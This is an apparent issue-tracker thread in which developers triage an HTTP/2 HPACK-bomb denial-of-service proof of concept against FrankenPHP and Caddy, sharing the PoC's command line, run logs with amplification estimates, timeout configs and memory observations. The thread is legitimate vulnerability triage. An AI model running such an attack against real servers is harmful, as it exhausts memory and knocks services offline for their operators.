    Connection 7: sent 7.6 MB
    Connection 2: sent 7.6 MB

[*] Phase 1 complete: 10 connections, 37.9 MB uploaded in 29.3s
    Upload rate: 1.3 MB/s

[*] Phase 2: Holding server memory for 120s (drip every 50s)...
    Monitor memory with: docker stats frankenphp
    Or: ps -o rss,pid -p $(pgrep frankenphp)
    Press Ctrl+C to stop early.


[*] Done. Total time: 83s
    Connections still active: 0/10
    Total wire uploaded: 37.9 MB

Tested against a yesterday created win-release (1.12.4 with php8.5.7):

Also with already optimized timeout against header attacks.

servers {
		timeouts {
			read_header 2s
            	        read_body 5s
                        write 10s
                        idle 15s
		}
	}

but i see 2500 connections in the caddy-logs.

Another test without phpserver and only a "index.html" with "text: test" shows the same memory consumption.

And after some time the memory consumption goes down again, but really slow.

here the ember - graph:

and after about 2minutes after the attack, mem usage is still very high:

for me what helped and protect was setting a rate_limit via extension.

A test with a loadtest tool with 2500 connections aginst "index.html"

bombardier.exe --http2 -n 2500 https://abc.xyz
Bombarding https://abc.xyz with 2500 request(s) using 125 connection(s)
 2500 / 2500 [=========================================================================================] 100.00% 2491/s 1s
Done!
Statistics        Avg      Stdev        Max
  Reqs/sec      2843.89    1838.14    6356.92
  Latency       43.96ms    23.35ms   245.10ms
  HTTP codes:
    1xx - 0, 2xx - 2500, 3xx - 0, 4xx - 0, 5xx - 0
    others - 0
  Throughput:   446.65KB/s

all fine:

so i think caddy don't like the PoC packets from krzysztof113

[tobfel]

FYI: Did a test against the lastest caddy-release (windows) - same here:

python3 frankenphp_h2_bomb.py --host test.abc.xyz --port 443 -n 10 --hold 3600
WARNING: This tool is for authorized security testing only.
         Do not use against infrastructure you do not own.


======================================================================
  HTTP/2 HPACK Bomb + Window Stall — FrankenPHP/Caddy/Go PoC
  Target:        test.abc.xyz:443
  TLS:           yes (h2)
  Mode:          tiny
  Connections:   10
  Streams:       250 per connection
  Headers:       31,774 per stream
  Header budget: 1,048,576 bytes (1024 KB)
  Hold:          3600s (drip every 50s)
======================================================================

  Estimated server memory impact:
    Per header (Go overhead):  ~55 bytes
    Per stream:                1.7 MB
    Per connection:            417 MB
    Total (10 conns):     4166 MB (4.1 GB)
    Wire upload:               76 MB
    Amplification ratio:       55:1

[*] Phase 1a: Establishing 10 connections...
    10/10 connections established in 3.6s
    Server reported max_header_list_size = 1,048,896 bytes
    Adjusted headers to 31,783 per stream

[*] Phase 1b: Sending HPACK bombs on 10 connections...
    Connection 8: sent 7.6 MB
    Connection 1: sent 7.6 MB
    Connection 0: sent 7.6 MB
    Connection 5: sent 7.6 MB
    Connection 6: sent 7.6 MB
    Connection 2: sent 7.6 MB
    Connection 9: sent 7.6 MB
    Connection 3: sent 7.6 MB
    Connection 4: sent 7.6 MB
    Connection 7: sent 7.6 MB

[*] Phase 1 complete: 10 connections, 75.9 MB uploaded in 13.6s
    Upload rate: 5.6 MB/s

[krzysztof113]

On Linux it seems kind of inconsistent:

caddy binary

v2.11.3 h1:/vFbdjcs2DtzcWTIxHybf5R5TspYFFThlZffChyBFHg=
No issue. Minimal spike, as expected with many connections.

FrankenPHP

v1.12.4 PHP 8.5.7 Caddy v2.11.4 h1:XKxkMTgNSizEvKG6QHue6cAsFOteU2qA61w2tKkCWi0=
High memory usage.

[mholt]

Remember:

Note that Go does not always release memory back to the OS when it "frees" it as far as the runtime is concerned. (And that does not constitute a leak/DoS).

Go often keeps memory that is actually freed available to its runtime for efficiency if the OS is not starved for memory.

[krzysztof113]

@mholt
That's for sure. But using swap might suggest that is not the case here.
My guess (based on nothing) is that Frankenphp does something differently, custom, with the headers.

[mholt]

So just to make sure I understand, is this crashing the server (DoS)?

Or do we just need to control how much memory is used, or how many connections are made?

[dunglas]

This may be related to how FrankenPHP handles headers: https://github.com/php/frankenphp/blob/main/cgi.go#L161

If there is no header number limit Go or Caddy-side, we may hit the issue.

I'm away from computer, I'll not be able to dig deeper until Monday.

[henderkes]

Looking into it.